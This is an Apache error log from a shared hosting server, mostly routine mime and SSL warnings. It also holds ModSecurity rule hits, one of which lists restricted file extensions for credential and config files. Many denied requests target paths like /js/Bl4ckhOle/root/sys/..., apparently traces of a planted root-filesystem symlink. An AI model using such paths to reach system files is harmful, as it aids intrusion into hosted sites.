[Fri Jul 17 08:17:35.032747 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:35.218725 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:35.221896 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:35.280334 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:35.285766 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:35.422532 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:35.422574 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:35.464734 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:35.595221 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:35.674702 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:35.691001 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:35.741556 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:36.208110 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:36.227182 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:36.435326 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:37.148358 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:37.259119 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:37.290097 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:37.585756 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:37.783755 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:37.798162 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:37.827851 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:37.867480 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:38.061970 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:38.164793 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:38.432073 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 47.82.54.235:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:03.0/firmware_node/physical_node/driver/uevent
[Fri Jul 17 08:17:39.295233 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:39.413151 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 47.82.14.65:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:02.0/firmware_node/physical_node/rom
[Fri Jul 17 08:17:39.466436 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:39.466700 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:39.579056 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:39.685265 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:39.894277 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/PNP0A06:02/subsystem/drivers_probe
[Fri Jul 17 08:17:40.000896 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:40.195421 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:40.399302 2026] [security2:error] [pid 1993998:tid 1993998] [client 58.44.86.48:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php/Publications/www.sample.com"] [unique_id "almXzGidQp3SsqeycPEq8gAAAAo"]
[Fri Jul 17 08:17:40.399742 2026] [security2:error] [pid 1993998:tid 1993998] [client 58.44.86.48:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php/Publications/www.sample.com"] [unique_id "almXzGidQp3SsqeycPEq8gAAAAo"]
[Fri Jul 17 08:17:40.479341 2026] [security2:error] [pid 1993998:tid 1993998] [client 58.44.86.48:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php/Publications/www.sample.com"] [unique_id "almXzGidQp3SsqeycPEq8gAAAAo"]
[Fri Jul 17 08:17:42.861686 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:43.018427 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:43.061770 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/tmpmy7i1wuo
[Fri Jul 17 08:17:43.062258 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:43.148684 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:43.219333 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 57.141.18.116:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory133/subsystem/devices/memory70/subsystem/devices/memory75/node0/memory53/node0/compact
[Fri Jul 17 08:17:43.260676 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:43.446592 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:43.717324 2026] [ssl:error] [pid 1994956:tid 1994956] (5)Input/output error: [client 66.85.158.91:59914] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:17:43.984145 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:59940] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:17:43.991550 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:44.179386 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:44.923729 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:45.017500 2026] [core:error] [pid 2008451:tid 2008451] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/Cavium PTP Driver/remove_id
[Fri Jul 17 08:17:45.108104 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:45.469383 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:45.750006 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:46.028639 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:46.301241 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/event_source/devices/power/subsystem/uevent
[Fri Jul 17 08:17:46.486393 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:46.741895 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almX0ol9vhFBGA6D8l90nAAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1098&page_105=1250
[Fri Jul 17 08:17:46.741943 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almX0ol9vhFBGA6D8l90nAAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1098&page_105=1250
[Fri Jul 17 08:17:46.771703 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:46.862993 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:00/driver/bind
[Fri Jul 17 08:17:46.891323 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:60158] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:17:47.402525 2026] [security2:error] [pid 1999089:tid 1999089] [client 57.141.18.109:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory135/node0/memory80/node0/memory112/node0/memory90/"] [unique_id "almX00MCK1PbyQ2qe6AAaAAAABQ"]
[Fri Jul 17 08:17:47.402555 2026] [security2:error] [pid 1999089:tid 1999089] [client 57.141.18.109:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory135/node0/memory80/node0/memory112/node0/memory90/"] [unique_id "almX00MCK1PbyQ2qe6AAaAAAABQ"]
[Fri Jul 17 08:17:47.515144 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:47.598260 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:47.779638 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:47.871283 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/subsystem/wakeup3/device/eject
[Fri Jul 17 08:17:48.329096 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:48.420050 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:48.786122 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:48.877202 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:48.975838 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:49.149638 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:49.512929 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:49.688102 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:49.745603 2026] [security2:error] [pid 1994966:tid 1994966] [client 74.7.242.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php/en/public/index.php/sn/circular"] [unique_id "almX1byEqmgiTSUa55oF-QAAABA"], referer: https://www.nccp.health.gov.lk/nccp/public/index.php/sn/circular
[Fri Jul 17 08:17:49.745645 2026] [security2:error] [pid 1994966:tid 1994966] [client 74.7.242.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php/en/public/index.php/sn/circular"] [unique_id "almX1byEqmgiTSUa55oF-QAAABA"], referer: https://www.nccp.health.gov.lk/nccp/public/index.php/sn/circular
[Fri Jul 17 08:17:49.878234 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:49.969416 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:50.072090 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:50.151217 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:50.241693 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:50.516626 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:50.696991 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:1d/eject
[Fri Jul 17 08:17:50.789696 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:51.063036 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:51.609417 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:51.701840 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:51.982337 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:52.352538 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:52.533298 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:52.628459 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:52.713952 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:52.950780 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:46372] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:17:53.267011 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/personality
[Fri Jul 17 08:17:53.357843 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:53.540197 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:53.909881 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/i8042/uevent
[Fri Jul 17 08:17:54.007631 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.235:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb7\\x80\\xe0\\xb7\\x98\\xe0\\xb6\\xad\\xe0\\xb7\\x8a\\xe0\\xb6\\xad\\xe0\\xb7\\x93\\xe0\\xb6\\xba-\\xe0\\xb7\\x83\\xe0\\xb6\\xb8\\xe0\\xb7\\x92\\xe0\\xb6\\xad\\xe0\\xb7\\x92-\\xe0\\xb7\\x80\\xe0\\xb7\\x92\\xe0\\xb6\\xbb\\xe0\\xb7\\x9d\\xe0\\xb6\\xb0\\xe0\\xb6\\xad\\xe0\\xb7\\x8f-\\xe0\\xb6\\xb4\\xe0\\xb7\\x8f/feed/"] [unique_id "almX2khq6UAnqYko0LpVTwAAABE"]
[Fri Jul 17 08:17:54.007976 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb7\\x80\\xe0\\xb7\\x98\\xe0\\xb6\\xad\\xe0\\xb7\\x8a\\xe0\\xb6\\xad\\xe0\\xb7\\x93\\xe0\\xb6\\xba-\\xe0\\xb7\\x83\\xe0\\xb6\\xb8\\xe0\\xb7\\x92\\xe0\\xb6\\xad\\xe0\\xb7\\x92-\\xe0\\xb7\\x80\\xe0\\xb7\\x92\\xe0\\xb6\\xbb\\xe0\\xb7\\x9d\\xe0\\xb6\\xb0\\xe0\\xb6\\xad\\xe0\\xb7\\x8f-\\xe0\\xb6\\xb4\\xe0\\xb7\\x8f/feed/"] [unique_id "almX2khq6UAnqYko0LpVTwAAABE"]
[Fri Jul 17 08:17:54.057599 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almX2khq6UAnqYko0LpVTwAAABE"]
[Fri Jul 17 08:17:54.215532 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1c/subsystem/drivers/ec/bind
[Fri Jul 17 08:17:54.407317 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty50/subsystem/ttyS1/flags
[Fri Jul 17 08:17:54.460439 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:54.555401 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:54.642084 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:54.731191 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:54.824505 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:55.007969 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:55.106569 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:55.144167 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:46472] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:17:55.230965 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 57.141.18.76:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory103/subsystem/devices/memory65/subsystem/devices/memory137/node0/subsystem/drivers_probe
[Fri Jul 17 08:17:55.932083 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:56.114729 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:56.206478 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:56.402710 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:56.495360 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:56.586722 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:56.675964 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:56.866591 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:56.958874 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:57.054847 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:57.146336 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:57.252955 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:57.342065 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:57.437159 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:57.527969 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:57.618329 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:57.712659 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:57.807910 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:57.926180 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:57.998213 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:58.088980 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:58.186611 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:58.280702 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:58.369600 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:58.471064 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:58.550888 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:58.634242 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:46688] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:17:58.644725 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:58.736971 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:58.828477 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:58.920665 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:59.009742 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:59.105744 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:59.191713 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:59.282500 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:59.374768 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:59.557716 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:59.654173 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:59.740865 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:59.832336 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:17:59.925514 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:00.017135 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:00.108606 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:00.206652 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
